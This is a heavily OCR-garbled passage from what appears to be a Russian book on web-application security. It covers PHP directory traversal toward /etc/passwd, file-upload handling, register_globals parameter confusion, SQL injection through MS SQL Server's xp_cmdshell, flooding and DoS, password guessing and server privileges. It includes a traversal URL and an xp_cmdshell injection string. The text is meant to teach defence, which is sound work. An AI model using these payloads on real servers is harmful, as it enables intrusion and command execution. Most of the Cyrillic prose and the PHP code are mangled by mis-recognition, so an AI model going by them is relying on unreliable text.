JlyMUTCS, ECTIK B KRYECTBE MMeHM Qalina nepenats yTo-HuGyae Bpoae /etc/passwd
{thaiin, B koTopom UNIX-cepeepbl XpassT criucky nonbiosateneii). B otser 41 no-
siyaun coobuenne: "H kro Teba npocun 3to genarh?” Ouent Xopoiuo, paspaGor-
YHKHM ABHO TIPELYCMOTPETH BOSMOXKHbIE aTaKK W OCTPOYMHO COOBLIMAN MHE, ¥TO
A, MATKO IOBOP3, HE TyAa ofes,

Torza 2 BMecTo MMeHH aiina TOCTABUA TOUKY, YTO YKAa3bIBaeT HA TEKywWIyio An-
pexTopuio. Ha 5ToT pa3 s ysuaen B okke Gpaysepa cnincok dainos, HaxoasuMxcs
B AMPEKTOPHH, YKA3aHHOW B KauecTBe mapamerpa dir. Bumumo, paspaGoriuku
MenoNb30Balln GUNbTp, KOTOPLIH 3ampellian nepexasaTh B Ka4ecTBe FapameTpa
cuMBos /", HO OAMHOYHAA TOYKa He TpoBepsuTack. Henn3s 3anpeTuTb TOYKy BO-
06].116, BEIb UMEHA q)ax“mon OueHb 4acTO COAEPKAT TOMKY ANA OTAS/NCHUA UMEHH
Gaiina OT pacLIKpeHus, HO OQMHOUHYIO TOUKY NIPOBEPATH HeoGXomMo: daiin, umMa
KOTOPOTD COCTOMT TONBLKO W3 TOYKH, CO3AaTh HEPEANLHO.

Ho 5to ewe He Bce. 51 noONLITANCA BHIMOAHWTL CheAyloumi  3ampoc:
http://www.sitename.domain/index.php?dir=/etc&file=.. B xauecrnc mpekTo-
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Cnenyiolunii IpUMep NOKa3biBaeT, KAK MOKHO NOAY4HTh dai OT mogb30BaTeNns,
CKONMPOBATE €r0 B AMPeKTOpHio /var/www/html/files u orobpasutt undopmaumio
0 HeMm:
<?php
print("<P> File Size: %¥s", SHTTP_POST_FILES["filel"]("size"));
print("<P> File Type: %s", $HTTP_POST _FILES["filel®)(["type"));
print("<P> File Name: ¥s", $HTTP_POST_FILES["filel"]("name"));
print("<P> Temp File Name: &s”,

S$HTTP_POST_FILES["filel"] ["tmp name“]);

if (copy($PHP_POST FILES("filel"]("tmp_name"],
" /var fwww/html/files/ " . SHTTP_POST_FILES["filel”] ("name"]))
print ("Konuposanue 3aBepuieHo”);
else

print ("OumBka xonupoBanus Qaina 1</B>");
>

3arpyska MOKET CTaTh HEBOIMOXKHOM, €C/IH OHa OTKAIOUEHA B KOH(QUTYPALMOHHOM
aiine php.ini. Otxpoiite a1oT daitn u nposepbTe AUpexTHBY file_uploads. Yro-
Gel ¥METL BO3MOXKHOCTh 3arpyxaTs daitner Ha Web-cepsep, 5ToT napamerp non-
xeH GbITh BiUTOUeH (on). ECiK Bawy CueHapuy HE MCNIONb3YIOT 3arpysKy, To ybe-
NUTECh, UTO STOT NIAPAMETP BbIKMOUEH (of £).

3arpyska MOXKET 3aBEDIIMTLCS OWMOKON U [IPH HEXBATKE IPaB Ha 3aMHCh B AMPEeK-
TOPHIO: €C/IH Y BAC HET Npas, To daiin co3gaTs Gyner Henb3A.
Ecav B ucnonksyete rnofanbabie nepeMerHbie (NS 3TOMO B KOHQUIYpaudoH-
HOM oQaiine NMpeKTHBA register_globals AOMkHA Germs BKmoueHa (on)), To
K FlapamMeTpaM 3arpyKeHHOTo (aina MOXKHO NONY4HTh AOCTYF Hepe3 CAEAYIOIHE
llepeMeHHbIe!
O s$filel — uMa BpEMEHHOTO (aiina;

0 sfilel_name — WMA 3arpyaeHHOro haiina;

0 s$filel_size — paimep thaiina;

O sfilel_type — Tvn daiina.
Taxknm 06pasom, KO 3aTPy3KY MOXET BLIFNIALETH CEAYIOUNM 06pasom:
<?php

print{"<P>Temp file name $filel"):

print{*<p>File name $filel_name");

print ("<P>File size §filel_size");
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0 Heo6X0AMMO NpOBEPATH PasMep NOAYHAGMBIX AAHHBIX MEpe HX coxpaHefueM.
Hanpumep, nosie ina XpaHeHua aapeca BNEKTPOHHOH NOYTE! HIH HMEHH NOMB-
30BATENA MOXKET GbITh OTPaHHUCHHBIM pasMepom nosiA B 50 CUMBOIIOB, & BOT
Tiofie AUA XpaHeHnd cooliuennd Ha QopyMe MOXKET UMETh THII TEXT (WM Apy-
rofl THI, B 38BUCHMOCTH OT Gaskl faHHEIX). B Hero nons3oratens MoxeT 2arpy-
3UTE AOCTATOMHO GONBINOE KOMMHECTBO JBHHBIX, M OrpaHH{eHHe Ha ITH AaH-
Hbte MOKET GWTh OueHb GONBIUMM, KOTOPOE ONATH XK€ 3aBHCHT OT 6asml
mansblX. Onpenenute Gonee pasymubii npenen. Hanpumep, ans coobletus Ha
dopyme Bronse MokeT 61T JocTaTa4Ho S000 cHMBONIOB.

ViMea orpanuvenme B 5000 CHMBOJIOB, M €C/IH PA3PELIIEHO OCTABJIATD BCETO OQHO
coofluenne B IBe MUHYTHI, O4MH Xakep CyfeT oueHb AONTO OTHPABIATH cOObIe-
HHS B HANEKIE IEPEIONHWTL AUCKOBOE TIPOCTPAHCTBO cepaepa. Jlng ynaunoi ava-
KM TYT y)Xe MOHanoGWTCA COTHA, @ TO M THICAMA XAKEPOB MAH OHHH Xakep
¢ Gonbluol ceTblo M3 mone3opatenell "zomMGu". ITo monwszosatenu Hurepuera,
KOMIILIOTEPL! KOTOPLIX IIOJBIACTHB XaKePY, K OH MOXET MCIONLIOBATL MX AN
peann3auit CBOMX 3bIX 1NaH0B i DoS/DDoS-atak.
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</ form>

<?php
if (SUserName<>""}
P

print("<F>Bale MR NONb30OBATENA:

print {*$UserName") ;
print("<P>llaposns: $Password");
}

2>

B 370M npumepe u3 GopMbI NIEPEAAIOTCA NAPAMETPBI METOIOM POST. Ho HecMoTpa
Ha 9TO, MBI MOKEM BBITOJIHMTE 3ampoc cheayiowero suaa; http:/192.168.77.1/
postparam.php?UserName=Flenov&Password=qwerty.

To ecTu Ml NepegaeM NapaMeTpbl, KAK 3TO AENAETCS IPW METOAE GET, M OPH 3TOM,
cueHapwit oTpaboTaer sepro. Ilouemy? IpoGaema kpoeTca B rnoGanbHbIX nepe-
MEHHBIX, KOTODbIE He pasGHpatoTCa, Kakol METO MBI HCIIOAB3YEM, H HE 3aBUCAT
OT HEro. B 3TOM OTHOWIEHMH WCIIONBIDBAHME MACCHBOB $HTTP_POST_VARS M
SHTTP_GET_VARS Gonee GezomacHo, MOTOMY 4TO OHM MPHBA3AHHY K MeTOmy. Eciu
Gbl Mbi 06pabaTeiBany napaMeTphl € MOMOLBIO MACCHBA SHTTP_POST_VARS, TO
npy MOMbITike MepenaTh MapaMeTpsl METOAOM GET 3aBeplMNach Gef Heymaued,
FIOTOMY 4TO Takne IapaMeTphl FIONANaloT B APYroi MaCCUB $HTTP_GET_VARS.

B nucTvire 3.5 MOKA3aHO, KAK MOXHO IO/y4MTh HOCTYN K Napamerpam 4epes
MaCCHBBI, A TAKOKE 3aMPETUTH AEpeaayy napaMeTpor yepes cTpoky URL, T. €. Me-
Topom GET. EcnM MaccHBR $HTTP_GET VARS HE NycTOW, TO BhIMONHEHWE LWMKAa
npepLIBaeTCa ¢ cooBieHEM O HeBEPHOM TapaMeTpe.

<form action="arrayparam.php” method:

User Name: <input name="UserName”>

<input type="hidden" name="Password" value="qwerty">

</ form>

- 2php
1f (count (SHTTP_GET_VARS)>0}
{
die("Henepmuit napaverTp") ;
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Bcem mmanensuam Web-cafiros, Ha KOTOpBIX 4 Hawen omubKy, A pasocnan mHck-
Ma, B KOTOPLIX noApoBHO onvcan nalaenspie MHOM yassumocTy. Ecin Bbi nbitae-
Tech NOBTOPHTL MOH NCHCTBHUA, W HE TIOYHMTE TEX HE PE3yNbTaTOB, IHAYMT,
ownubru yxe uenpaenecus, Ecnu y sac nosysmnock BOCIPOM3BECTH TE Xe AcHcT-
BHS, KOTOPLIE YAaNOCh MHE, HO OIUMGKY HE 3aKPBIfiK, H TYT YK A HE HECY HUKaKoH
OTBETCTBEHHOCTH. Kak roBOPUTCH, NoKa FPOM HE rPAHET, MYXUK HE IEPEKPECTHTCA.

U sce xe, 2 Haneiocs, YTo Bb! Gynere HCHONBIOBATE NONYUEHHYIO KHGOPMALIHIO A1
coapnanud Gonee satmumeHHsx Web-caifToB, a He g paspywenns. Ecnu Bam HyxHa
CKAHAATLHAA MIBECTHOCTL, TO, BOIMOMKHO, YTO €€ Bb! MONY4HTE, HO He 3aCuipafite,
9TO BMECTE C M3BECTHOCTHLIO BB MOMETE MOYHHTh H HECKOMBKO CHaCTAHMBBIX JIET
B MECTEX HE CTO/Ib OTAANEHHBIX, I HEGO BUAHO TONLKO Yepes JKeNe3Hy0 PEmeTy.

6.2. OcobeHHocT MS SQL Server

Mo#n uccresoBaHHA MOKA3LIBAKT, 4TO ecnn Web-caliT mocTpoe wa cesskel
ASP + MS SQL Server, To IporpaMMHCTbl AOCTATOMHO YACTO COBEPIIAIOT OLIHG
KA AMEHHO mpH o0paboTke MONYNEHHBIX OT IO/Ib30BATENA NRHHBIX JNIA NOKCKE,
Tak 6bis10 ¢ Web-caitramu www.secceramerica.com u www.escup.com. [Touemy
ownbra KpoeTcs UMeHHO 3aechk? [asaliTe nonpoGyem pasofpaTbea.

Tpu nepexone ot onHoit Web-CTpaHuub! K APyroii B CCRUTKE ualle BCEro nepe)
H0TCA HMCOBLIE 3HAUCHHS, HANPHMEP, HASHTUPUKATOPLI CTPOK U3 OMPEAENEHHO]
TabTUULI, KOTOpblE HYXHO 0T0GpaskTs. B ASP noctatouno yaoGHo peanusosant
Tanu3auua. TlporpaMMHCT MpOCTO yKaseiBaeT, WTO OMpeaeNeHHas MEPEMEHH:
omiHa GbITh “HCTIOBOH W HUKAKMX TpofieM: BCe MOMBITKY XAKEpa yKasaTb W
TO BMECTO HucAa GyayT npecexaThea.

B none ans moucka HeoGXOZMMO BBOAMTE CoBa M Mtobble unTaeMbie cumsoabll
2 3HAUKT, TIEPEMEHHAS IS XPAHEHHS UCKOMOTO TEKCTa N0MKHA GhITh TeKCTOROHE
a 3/1€Ch yKe HET BOIMOXKHOCTH YFo-TO yGpaTh arTomMaTHuecku u ASP socnipuung
MaeT NOAY4aeMbie JaHHbIe B TOM BHIE, B KOTOPOM YKashiBaeT MX I10/b30saTell
Y 8OT TyT HauMHaeT AcACTBORATS BoWEHAR OMHAPHAA KABLIYKA.

B MS SQL Server, 4ro ucnons3syerca 8 caaske ¢ ASP, cBon npobrembt (om. pazo. 5.50
Ceifuac Mbl OCTaHOBMMCA Ha 3ToM Gosiee noapoSHO W ysHaem, 4eM rposud
BMELUATENLCTBO MONL30BATENA B SQLaanpoc.

6.2.1. OnacHble npoueaypbl MS SQL Server

Camoe onacHoe ¢ TOuKM 3PeHHs Ge30MacHoCTH — KCMONb30RAHHE NPOLESLYph]
xp_cmdshell, KOTOpas MO3BOASET BHITONHATL CHCTEMHBIE KOManabl. 3anpoc Hy
BLINONHEHHE KOMAH/BI MOXET BLITAAAETH CReAYoWAM obpasom:

'; exec master..xp cmdshell ‘xomanpa’ --
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Kaxk nponcxoaut gaya? s atoro ka opme xomkuo GeiTe None A4 BBOAS TOKETA,
Xakep BBOAMT HyXHbIH TEKCT, 8 Aanee AEHCTBUA NPOMCXOAAT NIPHMEPHO TOM 3Ke
METOOM, MTO M MPH HAKPYTKE CHETHHKOB. B MPHHLMNE, HAKPYTKA CHETHHKOB ——
310 TONE QAYL, TONBKO B QAHHOM CIydae Mbl paccMaTpueaem GomGapaHpOBKY
Web-cephepa TexcToBOH HHOPMALUAEH, a He NepeKTIoyaTeNneM, KOTOPbIA HCNOMb-
3yeTcH MPH FONOCOBAHHH, H TYT €CTh CBOH HIOBHCHI.

TlporpaMMucT MOsieT HanKcaTs cLieHapyit WIn nporpammy, kotopas Gyaer Gecko-
HEYHO HampaRmATe WHHHOPMaLHIO Ha Web-cepaep, H 3aMONHHTE Bauty 6asy naH-
HBIX HJIM OKHO 4ara GeCcCMbICTIEHHbBIMA ODUGLHCHHSIMI‘L l'lpoﬁneMa YCRAOKHACTCHA,
ecnu Web-ceppep N03RONAET OTNIPARNATE AHOHHMHBIE COOBIIEHHS.

2.2.1. BombapanpoBka perucTpaLuamu

Dopym SMF (Simple Machines Forum, npocroit asuxkok dopyma) MOXKHO OTHe-
CTA K HeGOMBLINM H TIPH ITOM, 06AARAOIAM GOABIIMM KOMHMECTBOM BOIMOXKHO-
cteii (puc. 2.1). On He nonwayetcs ocoBoit nonyaspHocTeio, 1 npy 31oM B BugTrag
MHGOPMALIHH O HeM MUHKHMYM. Moxer nokasatses, 4To dopym Gezonacen, HO 710
TONLKO HA NEPBLIH BITAM, B PEATBHOCTH OH CONEPHHUT CEPLEHbIE YMYIEHHA.

Puc. 2.1, dopym SMF
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31y undopMaumio Mbl coxpaHuM B datine options.php. 3nechk Bcero aBe nepemeH-
HBIX, HO OHH OTIPCACAAOT FIONOKCHHUE ANk H moasana Web-ctparuubl. UtoGsr
M3MEHUTD BHEIIHKH B Web-CTpaHHLUL, JOCTATOUHO TOALKO NOMEHATL ITH ma-
pameTpbl, YTOChI OHH YKAIB{BANY HA HOBYIO LUATIKY WM TORBAL.

Ho ecan 3ti daiinbi MOKKNKOYATh HANIPAMYIO B KOXKAOM CLEHApHH, TO B CAyuae
CMEHbI HM3AHHA MBI CMOXEM M3MEHWTh TONBKO BHEIHMH Bix Web-cTpanuupl,
HO He JIOTHKY ¢¢ cosnawua. [Tosromy manky Web-cTpanuuel momectam 8 ¢adisn
maketop.php, a moasan B makebottom.php. Jasaitre paccMorpuM npumepHoe co-
HepHuMoe 3THX Paiinos. Jia vauana Qaiin maketop.php:

<?

// Bpech noruxa, HECOXOMMMAR NG MORKIICEHMA WanKy

include(Spagetop} ;

// Bmecy soruka, HeCOXOOMMAR NOCNIE NOMKILOUEHWS Wank

7>

A Teneps mocMoTpuM Ha gaitn makebottom.php:
<2

// 3mect noruxa, HEOBXODMMAR OO NOMKIOUSHWA WAk
include {$pagebottom) ;

// 3necs noruxa, HeOOXOMWMAR NOC/E NOMKMOYEHMA Wanku
>

Bce NOAFOTOBHTEAbHbIE ACHCTRUA BBIFIOAHEHB!, W MOXXHO YXKE NMOCMOTPETH Ha,
wabaon kaxaoro cueHapus HaWeb-cepsepe:
<?

include(“options.php");

include ("maketop.php");

// Here you must place body creation code

include ( "makebottom.php") ;

2>

Cuavana nopsnodaetea daiin ¢ onumami, kotopeie GyayT MCnons3oBaTEC AMH
ropknioucHua Gainos wanku U nogeana. locne storo noaktodaetces dain dpop-
MMpOBaHUA LIANKH, WAST KO CO3IaHMA OCHOBHOA uacTH Web-CTpanyubl U, Ko-
HEUHO e, dailn popMuposan noasata. JonycTum, uTo 3ToT Wwabnon Mbl co-
xpauuny B daitne index.php. Ha puc. 3.14 mokazan nipumep cdopmuposanHodt
Takum ofpazom Web-cTpanmupt. Ham foctatouso Tonbxo moGaskin s mation
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Ans ynpasieHns ueM-mHGo Ha Web-caifte. OnbiTHble aAMUHHCTPATOPB] JALIALIRN
OT UX N2PONIMH, U, KOHEYHO, BONBIIMHCTBO M3 3THX CCbUICK 6ynyT HEI(MI'yHIIH,
HO OTKPBITbIE — MOTYT NO3BONHTL YHHUTOXHTL Web-caliT nonHocTsio.

1.5. Noa6op naponen

Tau, rae He yAanock B3NOMaTh CEPBEP C NOMOILBIO YMEHHA M 3HaHMH, Beerna
MOXHO BOCMONb3OBATES HHCTO PYCCKMM METOiOM "cepna M Monota”. 3To He
3HAYUT, YTO CEpNl HYXKHO NPUCTABIATE K rOpMY AIMUHKCTPATOPA, @ MONOTKOM
cryuaTh no ronose. [1pocTo Beera OCTACTCA B 3anace TakOl METOR, kak Moabop
naponei.

llasav“rre CHOB2 OspaTHMCil K cratuctuke. Bee HCCTIeI0BATE/IbCKHE LEHTPbI TIpH-
LUTH K ORHOMY M TOMY XX€ BbIBOLY, YTO BGONBIIKHCTRO Ha4YHHAIOIRHKX NONL3OBATE-
Neit KOMMbIOTepa BRIGHPAIOT B KAUECTBE NAPOIA MMEHa CBOUX AI0GHMBIX cobayek,
KOLWIEYEK, aThl pOXKAECHHA HIH HOMepa 'rened)ouom Tak xak Y Kouweyek H cobak
He GbiBacT MMeH THna ki43hYPSIHBbs4#&g3, a wawe MoxHO BeTpeTHTh Mypan-
ko8, Ulapukos # Ty31KOB, TO Takue UMEHa NOAGHPAIOTCH OueHb GbiIcTpo. Xopouro
noao6pasikblii CNOBAPb MOXET CAOMATh NPAKTUYECKH TOBYI0 CHCTEMY, T. K. BCE-
roa HﬂﬁMCH HEONBITHLIE NONbL3OBATENH C fpOCTbIMK MApONAMH B BHAC MMEH.
Camoe cTpaurHoe, ecin y THX "waliHHKos" GyayT aoctatouHo Gonbiure npasa.

Cosnare crosaps, B koTopoM Gyner croeo ki43hYPS1HBbs4#&g3, Hepeansho,
NOTOMY 4TO HUKTO AaXe NPeACTaBUTS ce6e Takoro He CMoxer. Bbl BUgenn dunbm
“Xaxepel" ¢ AHpxenuHol Jhionn? B HeM roBOpMAOCk O TOM, YTO AAMUHHCTPRTO-
pbl MOBAT HCnoMb30BaTh HeTHIPE Naponia. Her, UX KOHEUHO He ueTbIpe, HO Ha 3ape
Hnuteprera pasHooGpasve naponeil aeiicTBuUTEnbHO GbUIo HeGONbIMM, WX BbLIO
e Bonee cra. Beab Torsia He ouerb 3a60THAKCH O GE30NACHOCTH, HUKTO He ZyMan
© Xakepax.

B xauecTse npumepa naBaiiTe BCMOMHMM 3HaMeHHMTeliltero “wepss Moppuca”,
KOTOpbIH NPOHHKAN B CHCTEMY, BXTaMblBas ee no cioBapto. COGCTBEHHDIH NEKCH~
KOH 4epBs Oblsl JOCTATOUHO MANEHBKHI U COCTORN MeHee YeM 3 cTa cios. omu-
MO 3TOTO, NPH NepeGOpe MCMONb30BANKCE TEPMUHBI W3 CROBAPA, YCTRHOBIEHHOTO
B cucteme. TaM ux 6bino Toke He Tak Yk MHoro. M Bot 6naroaapa Taxomy npu-
MMTHBHOMY aITOPUTMY YepBb CMOT NOPA3HTE rpOMaaHeiilliee YUCTO KOMNbIOTe-
POB H cepBepos. 310 GbuT OXMH M3 CaMbIX MaccoBbix Banomos!!! Ma, cnyusait nas-
1N, HO cpesmuii NpodeccHOHANM3M Nosib30BaTENel HE PAcTeT, T. K. CPELH HHX
MIIOTO HRYHHAIOUIHX.

Ho naxe cefiyac, Koraa Ha KaXJIOM yrity FOBOPAT O HEOGXOAUMON CRONKHOCTH na-

poficii, BCTPeualoTea HHAMBUAYYMbI, KOTOPhle BBIGHPAIOT COBEPUIEHHO MPOCTbie

e Larrettsonn = AN = ok, -

n rerm e ta— s
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noctpoenna Web-crpaiun, Ecau npy wanucassn nporpaMmbl JOMYCTHTE OUWKG-
Ky, T0 Web-caliT, fa n Bech cepBep MOTYT OKa3aThesl [0l YrPo30it BTOPKEHHA CO
CTOPOHbI XaKepa.

Yamte scero omnGKky CBAIAHE! C HEBEPHOH 0GPaGOTKOH NapaMeTpoB, NOTYHaEMBIX
or none3osatens. Ecin nmonyuaeMble JaHHble WCROMB3YIOTCA Tipu ofpaieHun
« Gatinosoli cucteme, CYBJI Hu ApyriM CepBEpHBIM TPOrpamMMam, TO €CTh Onac-
HOCTb, 4TO XaKEP CMOXET NIOJYMHTE BOIMOKHOCTE BBINOJHATE KOMAHIbl, KOTOPBIE
He JOMKHBI GhITb AOCTYTIHBI.

InasHas npoGrema nPOrpaMMHUCTOB — OHU NIAWYT TIPOTPaMMy, HTOOBI OHa KOp-
PEKTHO BLINOAHANA NOCTABIEHHYIO 3aaa4y. I'Ipu 3TOM OHH HAaAEIOTCH, YTO NOAL3O-
BaTeNb BCeraa Gy):le'r NepefaBaTh KOPPEKTHBIC JaHHbIE, @ €C/TH JaHHbIE H 6)’11}'1‘ He
KOPPEKTHBIMH, TO He CrneuManbHo, T. €. npocTeiimme ownbKn Tana “3a6bul yka-
3aTh napameTp”. Sl caM Kak MPOTPaMMHUCT CIIMLIKOM JOBEPUMB, NMOITOMY O4YeHb
4aCTO HE NPOBEPAI0 NapaMeTphl, NOAYYEHHblE OT NOML30BATENA HA ONACHOE CO-
Jepumoe.

Ha Mmoii 83r1a2, MOMHMO HEONBITHOCTH, HMEHHO AOBEPYMBOCTh ARTACTCA [TIABHEIM
Bparom nporpammicta. B nporpammnposannm, xax Ha BoWHe — A0BEPATb HHKO-
My HENB3A, 0cobenHo, €Cln nporpamMmol GyaeTe noAb30BaTLCA HE TONLKO Bbl.

1.14. OWwnbKM ecTb,
UX He MOXeT He ecTb

OueHp 4acTO MOXHO YCTBILIATE BLICKA3LIBAHHA THNA: "YCTaHOBMTE 10T Bopym/uar/
cueHapui, notoMy 4To y Hero Her ownGok”. Ha camom gene owmnbku ecTb BO
BCEX CLIEHapHAX, MPOCTO B HEKOTOPBIX MX ElIE HE HAULTA.

Ewe onHo untepecuoe BbickazuiBanie: "IToT (opym Gesonachee, noToMy 4To
B HEM HE HALLTM OIMBOK H HET WX ONUCAHKA B cnickax BugTraq”. Ecni oumGok He
HALWIK, 3HAYHT MX ellle HUKTO HE HCKAT, @ eClM M MCKAMT, TO HE O4eHb BHUMATENbHO.
Kax 3 yxe rosopun, oltHGKH €CTb BE3Ae, Hy, HIH NOYTH Be3ae. Ckopee Beero, Clie-
HapHid e1lte HEIOCTATOYHO NOMYAAPEH, YTOGH 3aHHTEPECOBATE XaKepoB.

Kax noka3sbiBaeT npakTika, 4em 6oniee nomyapHa nporpamma, Tem Gonbite B Heif
HaxoAaT ownGok. OGpaTHTe BHUMAHHKE, YTO MMEHHO "HaXOIaT".

Tak 4TO *e Torxa BeIGpats? JINa 3TOro CHaYana HyXHO ONPEETHTECH B NPEUMY-
UWECTBAX ¥ HEAOCTATKAX CAMOCTCATEIbHO HANUCAHHBIX U paapaﬁo’rauublx Ha 32K83
nporpamu, a Takke pewennit Open Source (NPOrpaMMbl ¢ OTKPLITBIM HCXOAHBIM
KOZIOM).
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<cption value="3">Story</cption>
<option value="d">Contacts</option>
</select>

</font>

<input type="submit" value="Go">

</ form>

Tenepb B mapaMeTpe action opmbt ykasan tonsko URL Ge3 napamerpa file.
A BOT BHYTpH hopMBI (BTOpas cTpoka) K06aBneHo Nosie BBOAA, 3HAUEHHE KOTOPO-
ro GyaeT nepesaHo CLEHapHIo B KayecTBe napaMeTpa file, a 3HauuT, GyzeT co3-
IaHa COOTBETCTBYIOUIAH NEPEMEHHAs. Pe3yneTHPYIOWAs NOAKOPPEKTHPOBaHHAR
dopMa K sarpyketnan B Gpaysep rokasaHa Ha puc. 3.13.

Puc. 3.13. NoakoppexTuposaknan hopMa

Takoli BapHaHT MOXeT GhITh MPEANIOUTHTENLHEE, NOTOMY 4TO, 3ArpyXas CBOW
CLEHAPHH, BLI MOXETE BBECTH B nonie MmoGyio koMaHzly Ge3 BMeLIaTeNbCTBa B He~
XOaHbif KOA coxpanennoro datia Web-cTpanuup:.

Camoe cTpaulHoe B TaKo# aTake, 4TO MPOTPAMMMCT HE IyMAET MPOBEPSTH COAEP-
JKMMOE NONYYEHHBIX IAHHLIX HA OTIACHBIE CHMBOJTBI, TIOTOMY HTO HMKTO HE MO03pE-
BAET, UTO HA MEPEMEHHYIO CMOXET BO3IEHCTBORATH Xakep. A MpOBEpPATh U He
HYXKHO, HYXXHO TIPOCTO OGH3aTeNLHO HHLMATHINPORATL Nepementyio. Mporpam-
MUCT 06f3aH NPEIyCMOTPETh BCE BOMONKHBIC HANPABCHHA BEIIONNCHIUA KoAA
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TpOAHCKHE NPOTPaMMbl MOFYT PaCnpOCTPaHATBCA M Kak BUPYCHI, HCNOMb3ya Ams
3T0rO pasnMuHble ys3sumocti. Hanpumep, Gbinu cy4aH, koria B NOTOBOM npo-
rpamme Outlook EXpress HaxofwiH cepbe3bie OUIMOKH, C NOMOLLBIO KOTOPHIX
MOXHO GBUTO ABTOMaTHYECKH 3AITyCKATh MPOrpaMMbl, MPHKPENTEHHBIE K NACHMY.
Ilpenctasbre ceGe, nonboBatens BbIGHpaeT NUCbMO, YTOGbI €rc MPOYMTATH,
2 NpUKPenieHHas TPOAHCKAA NPOrpaMMa I BHPYC 3alyCKaeTCs 88TOMATHHECKH
u Ge3 cnpoca.

Ja, ckonbko He NHuyT 06 ONAacHOCTHM TPOAHCKKX NpOTpaMM, Aake B KPYNHBIX
KOPNOPALHAX XOPOUIO OCBeOMIEHHble NIOGH MOTYT NOCTpaiaTh OT HUX. XomaT
CIyXH, 4TO MMeHHO Gnarofaps TAKHM nporpaMmam U3 Hexp Microsoft yuuiu ne-
xoHsle kogel MS Windows.

1.7. Denial of Service (DoS)

Euwe onHa aTaka, KOTOPYIO MCNONB3YIOT Xakepsl — 310 DoS (Denial of Service,
oTKa3 B OfCMy:uBaHMu). 3aKIIOUAETCA OHa B TOM, YTOGbI 3aCTaBHTL CEpBEp He
OTBEWaTh HA 3a0POC NONb30BaTeNeH. Kak 5To MOXHO caenaTh? OueHb 4acTo Ta-
KOro pesynstata Ro6uBAlOTCA ¢ noMOIRbIO 3auukiuBanua pabotbl. Hanpumep,
€CTM CEPBEP HE NPOBEPRET KOPPEKTHOCTh BXOAAUX MAKETOB, TO XAKEP MOKET
clenaTb TakoM 3anpoc, koTopslii Oyaer o6paGaTbiBaThea BeyHo, a Ha paboTy ¢ oc-
TaNbHbIMH COEAUHEHHAMH HE XBATHT NPOLECCOPHOTO BPEMEHH, TOFA2 KIMEHTbI
noMy4aT OTKa3 OT 0GCTyKHBAHMSL.

DoS-ataka MOXeT npoM3BOAKTECE ABYMS criocobamu: yepes owmbKy B nporpamme
Y MePerpy3Ky kaHana Win MOLHOCTH aTakyeMmo# MallHHbl,

Tepsbiii cnocob Tpebyer 3HaHKs yA3BUMOCTH Ha cepBepe. PaccMOTpHM, Kak npo-
HCXOZHMT OTKa3 OT ofChykusaiusa yepes nepenontenue Gydepa (uawe scero uc-
nonb3yeman owmnbra). JonycTHm, 4To Bbl JOMKHBI NEPeAaTb Ha CepBep CTPOKY
"HELLO". Jins atoro B cepsepHOil 4aCTW BbIAENACTCA NAMATb IS XpPaHEHHs
5 cumBonoB. CTPyKTypa NporpaMMbl MOKET BBIFTALETh NPUMEPHO CAEKYIOMMM
obpazom:

Kox mporpams:

EBydep ans xpanenus 5 cipmonos

Koz nporpasns:

TpeanonoxuM, fONb30BaTENb OTIPABUT HE NATH, a CTO cuMBOnoBs. Ecnu npu
nippeMe MH(OPMaUMK NPOrpaMMa He TpoBEpUT pasmep Groka, TO npH 3anMcu
nanHeIX B Gyep OHM BLIAYT 32 ero npeaenbl H 3anuityTcs nosepx koaa. 3mo
3HAYWT, YTO NpOrpaMMa GyJeT 3aNOpHEeHa M HE CMOKET BBINONHATH Kakux-TuGo
NefiCTBMH, K, CkOpee BCETo, NPOM3OHiCT 3aBHcanue. B pesynsTare cepsep He Gyxer
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1.11. NpaBa gocryna

B nporpaMMHpOBaHHH H BJIMMHHCTPHPOBAHHH HEOGXOMMMO BCErIa OTTANKHBATLOR
OT NpaBHAA; 3aNPENIEHo Bee, 4To He paspewueHo. Korna Bbl HacTpauBaeTe KOMIMb-
10Tep, Cepep WK MULIETE MporpaMmy, HeOGXOAMMO CHauaa 3anpeTuTh abco-
JIOTHO BCE M TONBKO HOTOM BbIJIABATE ONPEEIeHHbIE NPasa. 310 JOMKHO KacaThes
BCETO, C 4eM BEI paGoTaeTe. DTOT pasfien MocBAllEH NPaBaM JOCTYNa BO BCEX €M0
NposBneHHdX B OTHoUleHUH Web-cepsepa. )

1.11.1. MNpaea cueHapuer Web-cepsepa

ClieHapiK AOMKHE BEINMOTHATECA B CUCTEME C MUHWMANbHBIME npaBamy. Hanpu-
Mep, Balll CUCHApHIl JIOMKEH MMETh NPaBo OBPALIATLCA K CUCTEMHOMY KATANOry
/etc. B aTom karanore XpaHaTcs KoHdurypausonHeie dafinet OC Linux, u ecau
0ONb30BaTeNb CMOXET CKOMNPOMETHPOBATh CUEHAPHI, TO BENMKA BEPOATHOCTb,
4TO OH CMOXET TIOIT4HTh NPaBa aAMHHACTPATOpPA.

CuieHapuu BbINOAHACT Web-Cepeep (uawie BCEro MIa 5TX uenei MCHONB3YIOT
Apache), 1 HMEHHO €ro npaBaMi ONPEAENIAIOTCH NPaBa BENONHAEMBIX CLIEHAPHEB.
HauGonee 3¢d)eKTPlBHbIM METOAOM 32LUWTH ABNAETCH CO3A2HUE HEINPHBUAECTHPO-
BaHHOW YUETHO# 3anuCH (C MMHUMANLHO HeoGXOJMMEIMH PABaMU), OT MMEHH
KOTOPOH Gy/eT BLINOAHATLCA cam cepBep Apache 1 Boe HCTIONHAEMBIE UM CLIEHAPHI.

YroBbr npote G610 ynpasasTh npasamy, pacrionaraite hainbl B OTACNBHBIX Ka-
Tanorax no Tanam. Hanpumep, daiinbr ¢ Hactpoitkamu (.inc, .dat ¥ T. 1) Ayuwe
BCETO NOMECTHTS B O/IKH, (aiinkl wabnoHos B apyroi, a Gainsl ¢ GpyHKUMAMY Ha
JavaScript B TpeTii. Mcrionnsemsie dhaiiiisl ceHapueB Taloke He CTOMT pa3Gpachi-
BaTh NO KaTajloram U pacnosioKHTb HX MaKCUMAIbHO KOMNAKTHO.

[ModeMy-TO CUEHaPHH AEMHHUCTPHPOBAHHA Web-caliTOM NPOrpaMMHCTB! JOTabI-
BAIOTCA PacroNOKHTh B OTACHBHOM KaTANore, @ BOT € OCTANBHLIMM THOaMK dait-
nos — npo6nema. Hy Heykenu Tak COKHO pasnoxuTs (atiubl ¢ HacTpoHKami,
kapruHKamMu W JavaScript no nonoukam? Tak Besb yHOGHelM WMH ynpasnath He
TONBKO € TOUKM 3pEHHMA TIPAB JOCTYNA, HO K C TOUKH 3PeHUs NOHCKA, H JaKE Npo-
